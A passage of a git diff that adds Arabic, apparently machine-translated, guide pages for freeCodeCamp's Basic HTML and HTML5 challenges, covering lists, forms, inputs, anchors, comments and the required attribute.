+بعد أن لديك لتنفيذ قائمة: يجب أن يحتوي على ثلاثة على الأقل `li` عنصر داخل `ul` عنصر وهذه `li` يجب أن يكون على نفس المستوى، وليس متداخلة في بعضها البعض:
+
+صيح:
+
+ `<ul> 
+  <li></li> 
+  <li></li> 
+ </ul> 
+` 
+
+غير صحيح:
+
+ `<ul> 
+  <li> 
+    <li> 
+    </li> 
+  </li> 
+ </ul> 
+` 
+
+حظا طيبا وفقك الله!
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/responsive-web-design/basic-html-and-html5/create-a-form-element/index.md b/client/src/guide/arabic/certifications/responsive-web-design/basic-html-and-html5/create-a-form-element/index.md
new file mode 100644
index 0000000000..bc3636adfa
--- /dev/null
+++ b/client/src/guide/arabic/certifications/responsive-web-design/basic-html-and-html5/create-a-form-element/index.md
@@ -0,0 +1,13 @@
+---
+title: Create a Form Element
+localeTitle: إنشاء عنصر النموذج
+---
+A `<form>` هو عنصر يستخدم لجمع المعلومات مباشرة من مدخلات المستخدم. عند استخدام عنصر HTML هذا ، فإنك تحدد قسمًا يستخدم لجمع خيارات المستخدم.
+
+داخل عنصر HTML هذا ، يمكنك إدراج بعض علامات `input` ، وتستخدم لجمع البيانات بطرق مختلفة استنادًا إلى سمة `type` .
+
+سيتم إرسال كل هذه البيانات إلى الصفحة المحددة في سمة `action` للنموذج. هذا هو مجرد مسار نسبي يشير إلى الصفحة التي تتوقع أن تتلقى هذه البيانات.
+
+في هذا التحدي ، لديك بالفعل عنصر `input` . كل ما عليك القيام به هو التفاف علامة `form` حولها. لا تنس سمة `action` . استخدم القيمة المشار إليها بواسطة التحدي (قم بتدقيق بناء الجملة).
+
+حظا طيبا وفقك الله!
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/responsive-web-design/basic-html-and-html5/create-a-set-of-checkboxes/index.md b/client/src/guide/arabic/certifications/responsive-web-design/basic-html-and-html5/create-a-set-of-checkboxes/index.md
new file mode 100644
index 0000000000..876fa3181c
--- /dev/null
+++ b/client/src/guide/arabic/certifications/responsive-web-design/basic-html-and-html5/create-a-set-of-checkboxes/index.md
@@ -0,0 +1,13 @@
+---
+title: Create a Set of Checkboxes
+localeTitle: قم بإنشاء مجموعة من مربعات الاختيار
+---
+## قم بإنشاء مجموعة من مربعات الاختيار
+
+تعمل السمة `type="checkbox"` بشكل أساسي كما تفعل السمة `type="radio"` : الاختلاف الرئيسي هو أن مربعات الاختيار تُستخدم لتجميع واحد أو أكثر من الخيارات ، يتم استخدام أزرار الراديو عندما تريد خيارات حصرية (واحد أو آخر).
+
+تشير السمة `name` إلى المجموعة التي ينتمي إليها مربّع الاختيار ، وستسهل إدارة البيانات من جانب الخادم لتصبح جزءًا من مجموعة.
+
+لحل هذا التحدي تحتاج إلى إنشاء ثلاثة عناصر HTML `input` مع `type="checkbox"` السمة `type="checkbox"` ومع تعيين سمة `name` إلى `"personality"` (مسائل الأحرف الكبيرة) ؛ المحتوى النصي للملصق الخاص بك.
+
+حظا طيبا وفقك الله!
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/responsive-web-design/basic-html-and-html5/create-a-set-of-radio-buttons/index.md b/client/src/guide/arabic/certifications/responsive-web-design/basic-html-and-html5/create-a-set-of-radio-buttons/index.md
new file mode 100644
index 0000000000..83ccfba0d5
--- /dev/null
+++ b/client/src/guide/arabic/certifications/responsive-web-design/basic-html-and-html5/create-a-set-of-radio-buttons/index.md
@@ -0,0 +1,17 @@
+---
+title: Create a Set of Radio Buttons
+localeTitle: قم بإنشاء مجموعة من أزرار الراديو
+---
+## قم بإنشاء مجموعة من أزرار الراديو
+
+لحل هذا التحدي ، يمكنك تقسيمه إلى أجزاء لفهم الخطوات بشكل أفضل:
+
+*   قم بإنشاء "حاويات": قم بوضع عنصرين من عناصر `label` وقم بمنحهم محتوى النص الذي يطرحه عليك التحدي (يجب أن يكون لدى الشخص النص "داخلي" ، أو "خارجي" ، أو الأمر بالأحرف الكبيرة) ؛
+    
+*   قم بإنشاء "المحتوى": زر الراديو هو مجرد عنصر `input` مع `type=radio` (قم بإنشاء اثنين منهم) ؛
+    
+*   قم بإنشاء _مجموعة_ من أزرار الاختيار: قم بإعطاء كلاً من أزرار الراديو `name` السمة الذي تم تعيينه إلى نفس القيمة (تشير تعليمات التحذير إلى أنه يجب تسمية المجموعة `indoor-outdoor` ) ؛
+    
+*   عش كل زر راديو في تسمية ؛
+    
+    حظا طيبا وفقك الله!
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/responsive-web-design/basic-html-and-html5/create-a-text-field/index.md b/client/src/guide/arabic/certifications/responsive-web-design/basic-html-and-html5/create-a-text-field/index.md
new file mode 100644
index 0000000000..6f5b0242a7
--- /dev/null
+++ b/client/src/guide/arabic/certifications/responsive-web-design/basic-html-and-html5/create-a-text-field/index.md
@@ -0,0 +1,15 @@
+---
+title: Create a Text Field
+localeTitle: إنشاء حقل النص
+---
+## إنشاء حقل النص
+
+يمكن تصنيف `input` كعلامة عامة: في الحقيقة إنه يتميز `type` السمة الخاص به ، والذي يمكن أن يفترض نطاقًا من القيم المختلفة وبناءًا على تلك القيمة ، فسيتم عرض `input` ككائن مختلف.
+
+وهناك عدد قليل سبيل المثال من مختلف `type` القيم:
+
+قيمة النوع الشفرة - | - النص | `<input type="text" />` خانة الاختيار | `<input type="checkbox" />` راديو | `<input type="radio" />` زر | `<input type="button" />` ...
+
+يريدك التحدي أن تضع علامة `input` مع الكتابة المضبوطة على `text` دون تعديل الشفرة الموجودة. إذا حدث خطأ ما في خطأ علامة الشيك المزدوج (نظرًا لأن `input` مغلق تلقائيًا ، فأنت تحتاج فقط إلى علامة واحدة ، وليس زوجًا مفتوحًا). إذا عدلت أو حذفت بعض أجزاء الشفرة المتوفرة ، فيمكنك إعادة التشغيل باستخدام زر `reset all code` .
+
+حظا طيبا وفقك الله!
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/responsive-web-design/basic-html-and-html5/create-an-ordered-list/index.md b/client/src/guide/arabic/certifications/responsive-web-design/basic-html-and-html5/create-an-ordered-list/index.md
new file mode 100644
index 0000000000..bd2778fd7a
--- /dev/null
+++ b/client/src/guide/arabic/certifications/responsive-web-design/basic-html-and-html5/create-an-ordered-list/index.md
@@ -0,0 +1,19 @@
+---
+title: Create an Ordered List
+localeTitle: إنشاء قائمة مرتبة
+---
+## إنشاء قائمة مرتبة
+
+في بعض الأحيان يتفوق الناس على هذا النوع من التحدي: القوائم المرتبة تحتوي على نفس النمط من القوائم غير المرتبة ، فهي ببساطة تغير العلامة: `<ul>` للغير مرتبة ، `<ol>` .
+
+التأثير المختلف هو أن الشخص لديه الرصاصات ، والآخر له أرقام (أو علامات تقدمية أخرى):
+
+اكتب | كود | تأثير - | - | - غير مرتبة | `<ul><li>Bulleted item</li></ul>` |
+
+*   عنصر نقطي
+
+أمرت | `<ol><li>Numbered item</li></ol>` |
+
+1.  البند مرقمة
+
+إذا كنت لا تتذكر كيف تعمل القوائم يمكنك مراجعة التحدي الماضي: [إنشاء قائمة غير مرتبة تعداد نقطي](https://learn.freecodecamp.org/responsive-web-design/basic-html-and-html5/create-a-bulleted-unordered-list) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/responsive-web-design/basic-html-and-html5/declare-the-doctype-of-an-html-document/index.md b/client/src/guide/arabic/certifications/responsive-web-design/basic-html-and-html5/declare-the-doctype-of-an-html-document/index.md
new file mode 100644
index 0000000000..f744631481
--- /dev/null
+++ b/client/src/guide/arabic/certifications/responsive-web-design/basic-html-and-html5/declare-the-doctype-of-an-html-document/index.md
@@ -0,0 +1,13 @@
+---
+title: Declare the Doctype of an HTML Document
+localeTitle: قم بتعريف Doctype من مستند HTML
+---
+## قم بتعريف Doctype من مستند HTML
+
+يجب أن يكون إعلان Doctype في السطر الأول لأنه يعطي تعليمات للمتصفح حول كيفية تفسير أسطر التعليمات البرمجية التالية.
+
+قد يتبعه عنصر `<html>` ، حتى وإن كان غير إلزامي ؛ هذا هو العنصر الجذري للوثيقة ، وإذا لم تقم بكتابتها ، فإن معظم المتصفح سوف يستنتجها. ومع ذلك ، فمن الجيد أن تكتبها بشكل صريح.
+
+يجب أن تتداخل جميع عناصر html الخاصة بك داخل `<html>` واحد: في هذا التحدي ، ستتم مطالبتك باستخدام عنصر `<h1>` مع محتوى من اختيارك.
+
+حظا طيبا وفقك الله!
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/responsive-web-design/basic-html-and-html5/define-the-head-and-body-of-an-html-document/index.md b/client/src/guide/arabic/certifications/responsive-web-design/basic-html-and-html5/define-the-head-and-body-of-an-html-document/index.md
new file mode 100644
index 0000000000..2d30d16e9d
--- /dev/null
+++ b/client/src/guide/arabic/certifications/responsive-web-design/basic-html-and-html5/define-the-head-and-body-of-an-html-document/index.md
@@ -0,0 +1,18 @@
+---
+title: Define the Head and Body of an HTML Document
+localeTitle: حدد رأس ونص مستند HTML
+---
+## حدد رأس ونص مستند HTML
+
+يتم استخدام عنصر `head` لتجميع كل بيانات التعريف الخاصة بالمستند ، `body` لعرض محتوى المستند.
+
+في `head` يمكنك العثور على أي نوع من العلامات المستخدمة _لوصف_ الوثيقة: ما هي اللغة التي ستستخدمها ، ما هي قواعد الأنماط (من خلال وصلة الأنماط) ، عنوانها ، الوصف الحرفي ، ...  
+على أي حال ، لن يتم تقديم أي شيء داخل عنصر `head` إلى الصفحة: يمكنك رؤية العنوان والرمز عادة في علامة تبويب المتصفح أو في شريط الإشارات ولكن هذه ليست _الصفحة_ ، إنه عنصر المتصفح المرتبط بها.
+
+`body` على العكس يحتوي على كل شيء يتم تقديمه في الصفحة: ربما ليس هذا فقط ، ولكن بالتأكيد كل ذلك.
+
+التحدي يتيح لك وصفحة HTML بسيطة ويطلب منك إدخال `head` و `body` عناصر HTML في المكان المناسب. في كلمة أخرى ، يجب أن تلتف بعلامة `<body></body>` جميع العناصر التي يمكنك رؤيتها عند عرضها على الجانب الأيمن من الصفحة والتفاف مع العلامة `<head></head>` كل شيء وصفي.
+
+تذكر أن كلا من `head` `body` يجب أن يكونا من أطفال العنصر `<html>` .
+
+حظا طيبا وفقك الله!
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/responsive-web-design/basic-html-and-html5/delete-html-elements/index.md b/client/src/guide/arabic/certifications/responsive-web-design/basic-html-and-html5/delete-html-elements/index.md
new file mode 100644
index 0000000000..09ffe8ad4f
--- /dev/null
+++ b/client/src/guide/arabic/certifications/responsive-web-design/basic-html-and-html5/delete-html-elements/index.md
@@ -0,0 +1,11 @@
+---
+title: Delete HTML Elements
+localeTitle: احذف عناصر HTML
+---
+## احذف عناصر HTML
+
+لإزالة عنصر HTML ، يجب إزالة عناصر العلامات الخاصة به: يمكن الاحتفاظ بالمحتوى ، مهما كان ، لأنه لا يمثل أي عنصر HTML.
+
+تذكر: إذا تم تغيير بعض التعليمات البرمجية غير الجزء الذي طلب منك تعديله ، فيمكنك إعادة تشغيل التحدي بالنقر فوق زر `reset all code` .
+
+حظا طيبا وفقك الله!
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/responsive-web-design/basic-html-and-html5/fill-in-the-blank-with-placeholder-text/index.md b/client/src/guide/arabic/certifications/responsive-web-design/basic-html-and-html5/fill-in-the-blank-with-placeholder-text/index.md
new file mode 100644
index 0000000000..fd20fecfef
--- /dev/null
+++ b/client/src/guide/arabic/certifications/responsive-web-design/basic-html-and-html5/fill-in-the-blank-with-placeholder-text/index.md
@@ -0,0 +1,9 @@
+---
+title: Fill in the Blank with Placeholder Text
+localeTitle: املأ الفراغ باستخدام نص العنصر النائب
+---
+## املأ الفراغ باستخدام نص العنصر النائب
+
+يُطلب منك استبدال النص الذي تراه في الفقرة (العنصر `p` ) بالنص المقدم من مقدمة التحدي (عندما تقرأ عن _بعض الكلمات ،_ فهذا يعني على الأقل 2 ، على الأكثر جميعًا) ؛ إذا قمت ، عن طريق الصدفة ، بإزالة أو تعديل بعض الشفرات بخلاف نص الفقرة يمكنك النقر فوق `reset all code` زر `reset all code` لإعادة التشغيل باستخدام رمز نظيف.
+
+حظا طيبا وفقك الله!
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/responsive-web-design/basic-html-and-html5/headline-with-the-h2-element/index.md b/client/src/guide/arabic/certifications/responsive-web-design/basic-html-and-html5/headline-with-the-h2-element/index.md
new file mode 100644
index 0000000000..9af463edaf
--- /dev/null
+++ b/client/src/guide/arabic/certifications/responsive-web-design/basic-html-and-html5/headline-with-the-h2-element/index.md
@@ -0,0 +1,28 @@
+---
+title: Headline with the h2 Element
+localeTitle: العنوان مع عنصر h2
+---
+## العنوان مع عنصر h2
+
+في الدرس الأول تعلمت ما هو عنصر HTML وقمت بتعديله.  
+الآن يطلب منك كتابة الخاصة بك! يستخدم أول عنصر HTML موجود بالفعل في محرر التعليمات البرمجية ( `<h1>Hello World</h1>` ) علامة h1 ، وتحقق من العناصر الأخرى:
+
+كود | تأثيرات ----- | ------- `<h2> This is how an h2 heading looks like</h2>` |
+
+## هذا كيف يبدو عنوان h2
+
+`<h3> Followed by this h3 tag </h3>` |
+
+### تليها هذه العلامة h3
+
+`<h4> Look at the h4, the middle </h4>` |
+
+#### انظر إلى h4 ، الوسط
+
+`<h5> Here is a tiny h5 </h5>` |
+
+##### هنا هو h5 صغيرة
+
+`<h6> The last - h6 </h6>` |
+
+###### آخر - h6
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/responsive-web-design/basic-html-and-html5/index.md b/client/src/guide/arabic/certifications/responsive-web-design/basic-html-and-html5/index.md
new file mode 100644
index 0000000000..526c945ff7
--- /dev/null
+++ b/client/src/guide/arabic/certifications/responsive-web-design/basic-html-and-html5/index.md
@@ -0,0 +1,11 @@
+---
+title: Basic HTML and HTML5
+localeTitle: HTML الأساسي و HTML5
+---
+## HTML الأساسي و HTML5
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/quadratic-equations/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/responsive-web-design/basic-html-and-html5/inform-with-the-paragraph-element/index.md b/client/src/guide/arabic/certifications/responsive-web-design/basic-html-and-html5/inform-with-the-paragraph-element/index.md
new file mode 100644
index 0000000000..0e389ea576
--- /dev/null
+++ b/client/src/guide/arabic/certifications/responsive-web-design/basic-html-and-html5/inform-with-the-paragraph-element/index.md
@@ -0,0 +1,13 @@
+---
+title: Inform with the Paragraph Element
+localeTitle: إبلاغ مع عنصر الفقرة
+---
+تتم مطالبتك بإنشاء عنصر HTML آخر. ملخص مختصر حول كيفية تحقيق ذلك:
+
+*   قم بإنشاء علامة افتتاحية.
+    
+*   اكتب بعض المحتويات (عادة ما تكون نص عادي)
+    
+*   قم بإنشاء علامة إغلاق.
+    
+    حظا طيبا وفقك الله!
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/responsive-web-design/basic-html-and-html5/introduction-to-html5-elements/index.md b/client/src/guide/arabic/certifications/responsive-web-design/basic-html-and-html5/introduction-to-html5-elements/index.md
new file mode 100644
index 0000000000..dc7f557531
--- /dev/null
+++ b/client/src/guide/arabic/certifications/responsive-web-design/basic-html-and-html5/introduction-to-html5-elements/index.md
@@ -0,0 +1,17 @@
+---
+title: Introduction to HTML5 Elements
+localeTitle: مقدمة إلى عناصر HTML5
+---
+## مقدمة إلى عناصر HTML5
+
+إن لف عنصر HTML حول عنصر (عناصر) HTML الأخرى يعني وضع العنصر (العناصر) _الداخلي_ بعد علامة الفتح في الغلاف وقبل علامة الإغلاق الخاصة به.  
+
+المثال أدناه يمثل عنصر `h1` وعنصر `h4` ملفوفًا في عنصر `header` :
+
+ `<header> 
+  <h1> Big title </h1> 
+  <h4> Tiny subtitle </h4> 
+ </header> 
+` 
+
+كما ترى ، يحتوي `header` على العناصر الأخرى التي تنتهي في نفس المستوى (ينتهي `h1` قبل بدء `h4` ويكون كلاهما متداخلين في `header` ).
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/responsive-web-design/basic-html-and-html5/link-to-external-pages-with-anchor-elements/index.md b/client/src/guide/arabic/certifications/responsive-web-design/basic-html-and-html5/link-to-external-pages-with-anchor-elements/index.md
new file mode 100644
index 0000000000..1395cb69cf
--- /dev/null
+++ b/client/src/guide/arabic/certifications/responsive-web-design/basic-html-and-html5/link-to-external-pages-with-anchor-elements/index.md
@@ -0,0 +1,23 @@
+---
+title: Link to External Pages with Anchor Elements
+localeTitle: وصلة إلى الصفحات الخارجية مع عناصر مرساة
+---
+## وصلة إلى الصفحات الخارجية مع عناصر مرساة
+
+في هذا التحدي يجب عليك استخدام كل ما تعلمته حتى الآن. بناء جملة عناصر HTML:
+
+*   علامة الفتح
+*   يحتوى
+*   علامة الإغلاق
+
+وسم بناء جملة tag:
+
+*   `<tag`
+*   الرئيسية = "قيمة"
+*   `>` ( `/>` في حالة علامات الإغلاق الذاتي)
+
+طلب منك أن تعطي ل `a` العلامة السمة (مفتاح) `href` مع قيمة `"http://freecatphotoapp.com"` واستخدام النص "صور القط" كمحتوى للنفس `a` العلامة
+
+### مصادر
+
+*   [`<a>` tag - href attribute](https://guide.freecodecamp.org/html/attributes/a-href-attribute)
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/responsive-web-design/basic-html-and-html5/link-to-internal-sections-of-a-page-with-anchor-elements/index.md b/client/src/guide/arabic/certifications/responsive-web-design/basic-html-and-html5/link-to-internal-sections-of-a-page-with-anchor-elements/index.md
new file mode 100644
index 0000000000..f169bcefc8
--- /dev/null
+++ b/client/src/guide/arabic/certifications/responsive-web-design/basic-html-and-html5/link-to-internal-sections-of-a-page-with-anchor-elements/index.md
@@ -0,0 +1,21 @@
+---
+title: Link to Internal Sections of a Page with Anchor Elements
+localeTitle: رابط إلى الأقسام الداخلية لصفحة مع عناصر الارتساء
+---
+## رابط إلى الأقسام الداخلية لصفحة مع عناصر الارتساء
+
+كما جاء في تعليمات يتكون الارتباط الداخلي من عنصرين: `a` العلامة وعنصر HTML مع `id` المستخدمة في `href` السمة من `a` العلامة.
+
+كل هذه روابط داخلية صالحة:
+
+ANCHOR TAG | يجلب إلى ----- | ------ `<a href="#destination">I am an internal link</a>` | `<p id="destination">I am the destination of the link</p>` `<a href="#inlinestuff">I am an internal link</a>` | `<span id="inlinestuff">I am the destination of the link</span>` `<a href="#title">I am an internal link</a>` | `<h1 id="title">I am the destination of the link</h1>` `<a href="#mainarticle">I am an internal link</a>` | `<article id="mainarticle">I am the destination of the link</article>`
+
+تتم مطالبتك باستخدام عنصر الارتساء الموجود لإنشاء رابط داخلي ، لذلك لا تكتب علامة ارتساء أخرى.
+
+لتحويل علامة الربط الفعلية ليس هو الشيء الوحيد الذي يريد التحدي أن تفعله على الرغم من ذلك ، هناك نقطتان أخريان:
+
+*   لإزالة `target` سمة من `a` العلامة: كنت لا تريد بعد الآن لفتح علامة تبويب جديدة في المتصفح الخاص بك، فمن الصفحة الفعلية التي سوف 'خطوة' أعلى / أسفل.
+    
+*   لتعديل مضمون نص `a` العلامة: من `cat photos` على `Jump to Bottom` (القيمة الاختيار مزدوجة).
+    
+    حظا طيبا وفقك الله!
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/responsive-web-design/basic-html-and-html5/make-dead-links-using-the-hash-symbol/index.md b/client/src/guide/arabic/certifications/responsive-web-design/basic-html-and-html5/make-dead-links-using-the-hash-symbol/index.md
new file mode 100644
index 0000000000..29f2ee0dd7
--- /dev/null
+++ b/client/src/guide/arabic/certifications/responsive-web-design/basic-html-and-html5/make-dead-links-using-the-hash-symbol/index.md
@@ -0,0 +1,13 @@
+---
+title: Make Dead Links Using the Hash Symbol
+localeTitle: جعل الروابط الميتة باستخدام رمز التجزئة
+---
+## جعل الروابط الميتة باستخدام رمز التجزئة
+
+الارتباط الميت هو مجرد عنصر ارتساء في مكانه ، وصحيح من الناحية النحوية ، يمكن النقر عليه يشير إلى أعلى الصفحة عند النقر عليه دون تحديث المحتوى (يمكنك التحقق من هذا السؤال على منتدى لجنة الاتصالات الفيدرالية لمزيد من التحليل المتعمق: [ماذا يفعل الرابط الميت على HTML و CSS تفعل؟](https://forum.freecodecamp.org/t/what-does-dead-link-on-html-and-css-do/164550/7) )
+
+لإنشاء رابط ميت يجب عليك أولاً كتابة عنصر ارتساء عادي (يوفر التحدي واحدًا ، لا تقم بإعادة كتابته) ، ثم تعديل سمة `href` كما هو مذكور في الإرشادات.
+
+إذا قمت بحذف أو تعديل شيء ما في الشفرة الأصلية بخلاف الخاصية href للعلامة الموجودة `a` تذكر أنه يمكنك النقر فوق زر `reset all code` لإعادة التشغيل باستخدام رمز نظيف.
+
+حظا طيبا وفقك الله!
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/responsive-web-design/basic-html-and-html5/nest-an-anchor-element-within-a-paragraph/index.md b/client/src/guide/arabic/certifications/responsive-web-design/basic-html-and-html5/nest-an-anchor-element-within-a-paragraph/index.md
new file mode 100644
index 0000000000..63efc3f545
--- /dev/null
+++ b/client/src/guide/arabic/certifications/responsive-web-design/basic-html-and-html5/nest-an-anchor-element-within-a-paragraph/index.md
@@ -0,0 +1,12 @@
+---
+title: Nest an Anchor Element within a Paragraph
+localeTitle: عش عنصر الارتساء ضمن فقرة
+---
+## عش عنصر الارتساء ضمن فقرة
+
+قراءة التعليمات بعناية: حتى لو كان هذا هو التحدي عن `a` العلامة أنه لا يعني بالضرورة أنه يجب التعامل مع ذلك!  
+التحدي مقدمة يتحدث عن القائمة `a` عنصر وأنه يطلب منك كتابة الفقرة الذي سيتم متداخلة: وبعبارة أخرى كل ما تحتاجه لكتابة `p` عنصر HTML، حيث يتكون المحتوى من قبل بعض النصوص - "مشاهدة المزيد" (مراجعة ضعف القيمة والمساحة النهائي) - و `a` عنصر HTML موجودة بالفعل في الصفحة.
+
+يمكنك تصور البنية النهائية لعنصر `p` الخاص بك كما يلي:
+
+desc | الشفرة ------- | --------- فتح علامة | `<p>` بعض محتوى النص | `View more` والقائمة `a` عنصر | `<a>...</a>` علامة الإغلاق | `</p>`
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/responsive-web-design/basic-html-and-html5/nest-many-elements-within-a-single-div-element/index.md b/client/src/guide/arabic/certifications/responsive-web-design/basic-html-and-html5/nest-many-elements-within-a-single-div-element/index.md
new file mode 100644
index 0000000000..fe5be9db36
--- /dev/null
+++ b/client/src/guide/arabic/certifications/responsive-web-design/basic-html-and-html5/nest-many-elements-within-a-single-div-element/index.md
@@ -0,0 +1,11 @@
+---
+title: Nest Many Elements within a Single div Element
+localeTitle: Nest العديد من العناصر داخل عنصر div مفرد
+---
+## Nest العديد من العناصر داخل عنصر div مفرد
+
+يسمح استخدام علامة الغرض العام على أنها `div` بتغليف عناصر متعددة للمطوِّر بتطبيق نمط شائع على كل عنصر من العناصر الملفوفة ، لتجميع العناصر ذات المعنى نفسه ، لإنشاء "حزمة" تخطيط مختلفة وهكذا.
+
+حول هذا التحدي ، عليك تجميع القوائم الموجودة بالفعل في الشفرة: يمكنك استخدام علامة div الافتتاحية قبل الفقرة المستخدمة كرأس للقائمة غير المرتبة ووضع علامة الإغلاق أسفل العلامة المطلوبة مباشرةً.
+
+حظا طيبا وفقك الله!
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/responsive-web-design/basic-html-and-html5/say-hello-to-html-elements/index.md b/client/src/guide/arabic/certifications/responsive-web-design/basic-html-and-html5/say-hello-to-html-elements/index.md
new file mode 100644
index 0000000000..c46af97815
--- /dev/null
+++ b/client/src/guide/arabic/certifications/responsive-web-design/basic-html-and-html5/say-hello-to-html-elements/index.md
@@ -0,0 +1,19 @@
+---
+title: Say Hello to HTML Elements
+localeTitle: قل مرحبا لعناصر HTML
+---
+## قل مرحبا لعناصر HTML
+
+خذ بعين الاعتبار المثال التالي:  
+
+`<p>This is a paragraph</p>`  
+
+يمكنك الإشارة إليه على أنه **_"عنصر p"_** ؛ كسر إلى قطع يمكنك العثور على العناصر التالية:
+
+subelement | وصف ----------- | ---------- `<p>` | هذه هي العلامة الافتتاحية `This is a paragraph` هذا هو نص العنصر `</p>` | هذه هي علامة الإغلاق
+
+تذكر طلب التحدي:
+
+> تغيير نص عنصر h1 ليقول "Hello World"
+
+حظا طيبا وفقك الله!
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/responsive-web-design/basic-html-and-html5/turn-an-image-into-a-link/index.md b/client/src/guide/arabic/certifications/responsive-web-design/basic-html-and-html5/turn-an-image-into-a-link/index.md
new file mode 100644
index 0000000000..5f058776ca
--- /dev/null
+++ b/client/src/guide/arabic/certifications/responsive-web-design/basic-html-and-html5/turn-an-image-into-a-link/index.md
@@ -0,0 +1,11 @@
+---
+title: Turn an Image into a Link
+localeTitle: تحويل صورة إلى رابط
+---
+## تحويل صورة إلى رابط
+
+في تحدي سابق ، تكون قد أنجزت بالفعل مهمة تضمين عنصر HTML في عنصر آخر (على سبيل المثال ، [Nest عنصر ارتساء في فقرة](https://learn.freecodecamp.org/responsive-web-design/basic-html-and-html5/nest-an-anchor-element-within-a-paragraph) )
+
+الآن يطلب منك حل نفس المشكلة مع علامات مختلفة: فقط ضع الصورة (كما هي) داخل عنصر الربط وسيصبح المحتوى القابل للنقر في تلك المرساة.
+
+حظا طيبا وفقك الله!
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/responsive-web-design/basic-html-and-html5/uncomment-html/index.md b/client/src/guide/arabic/certifications/responsive-web-design/basic-html-and-html5/uncomment-html/index.md
new file mode 100644
index 0000000000..19f24219b5
--- /dev/null
+++ b/client/src/guide/arabic/certifications/responsive-web-design/basic-html-and-html5/uncomment-html/index.md
@@ -0,0 +1,39 @@
+---
+title: Uncomment HTML
+localeTitle: Uncomment HTML
+---
+## Uncomment HTML
+
+موضوع التعليق غالبًا ما يكون مربكًا بعض الشيء في البداية. انظر الى المثال:
+
+ `<!-- This is a commented block. 
+ It doesn't matter how long it is, if it has <h1>HTML elements</h1> in it or if it develops 
+ into 
+ few lines, 
+ everything between the first weird series of character and the last is commented out --> 
+` 
+
+يمكنك استخدام التعليق في الخط أيضا: `<!-- Uh, I does not exists! -->` وهنا!
+
+الشيء الوحيد الذي يجب مراعاته هو أنه عندما ترى هذه المجموعة من الشار `<!--` يتم التعليق على كل شيء من هناك منذ أن تجد المرونة `-->` ؛ هذه هي علامة الفتح والإغلاق لعنصر HTML!
+
+##### غير تعليق
+
+Uncomment تعني إخراج الأشياء من نص التعليق: لإزالة unicment عنصر h3 في الجملة التالية (التي تم التعليق عليها كلها):
+
+ `<!-- <h1>Comment header</h1> <h3>Comment subtle</h3> <article>I am the text of the comment</article> --> 
+` 
+
+سهل مثل:
+
+ `<!-- <h1>Comment header</h1> --> <h3>Comment subtle</h3> <!-- <article>I am the text of the comment</article> --> 
+` 
+
+لاحظ كيف تمت إضافة علامة تعليق إغلاق ( `-->` ) قبل عنصر HTML h3 لمطابقة علامة التعليق الافتتاحية في بداية الجملة وإضافة علامة تعليق افتتاحية ( `<!--` ) بعدها لتتطابق مع الإغلاق علامة في النهاية: بهذه الطريقة ، تكون قد أنشأت تعليقين مضمّنين ​​، أحدهما قبل عنصر h3 والآخر بعد !.
+
+إذا كنت تريد إلغاء ربط كل شيء ، سيكون الأمر أسهل:
+
+ `<h1>Comment header</h1> <h3>Comment subtle</h3> <article>I am the text of the comment</article> 
+` 
+
+ما عليك سوى إزالة علامة الفتح والإغلاق للتعليق.
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/responsive-web-design/basic-html-and-html5/use-html5-to-require-a-field/index.md b/client/src/guide/arabic/certifications/responsive-web-design/basic-html-and-html5/use-html5-to-require-a-field/index.md
new file mode 100644
index 0000000000..086714cbff
--- /dev/null
+++ b/client/src/guide/arabic/certifications/responsive-web-design/basic-html-and-html5/use-html5-to-require-a-field/index.md
@@ -0,0 +1,15 @@
+---
+title: Use HTML5 to Require a Field
+localeTitle: استخدم HTML5 لطلب حقل
+---
+## استخدم HTML5 لطلب حقل
+
+تعمل السمة `required` مع جميع الأنواع الممكنة لعلامة `input` (لا تعمل لأنها غير منطقية لأنماط تشبه الأزرار أو الأنواع ذات القيمة الافتراضية مثل `type=range` ) وتضطر المستخدم إلى الرحيل علامة على الأقل للتفاعل مع الإدخال المطلوب عند الإرسال (حدد مربع اختيار واحد _على الأقل_ ، اكتب حرفًا واحدًا _على الأقل_ في مربع نص ، إلخ.)
+
+يحظر استخدام النموذج تقديم النموذج حتى لا تتم تعبئة الشروط `required`
+
+يمكنك استخدام السمة `required` ببناء معين: حيث إنها قيمة منطقية قد تكتبها `required` فقط دون أي قيمة.
+
+في هذا التحدي ، لديك بالفعل نموذج وعنصر إدخال: يطلب منك إضافة السمة `required` لعنصر الإدخال ؛ تذكر أنه إذا تم تعديل أو إزالة شيء من الرمز الأصلي عن طريق الصدفة ، فيمكنك دائمًا إعادة التشغيل باستخدام رمز نظيف باستخدام زر `reset all code` .
+
+حظا طيبا وفقك الله!
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/responsive-web-design/css-flexbox/add-flex-superpowers-to-the-tweet-embed/index.md b/client/src/guide/arabic/certifications/responsive-web-design/css-flexbox/add-flex-superpowers-to-the-tweet-embed/index.md
new file mode 100644
index 0000000000..d93cd07ab1
--- /dev/null
+++ b/client/src/guide/arabic/certifications/responsive-web-design/css-flexbox/add-flex-superpowers-to-the-tweet-embed/index.md
@@ -0,0 +1,32 @@
+---
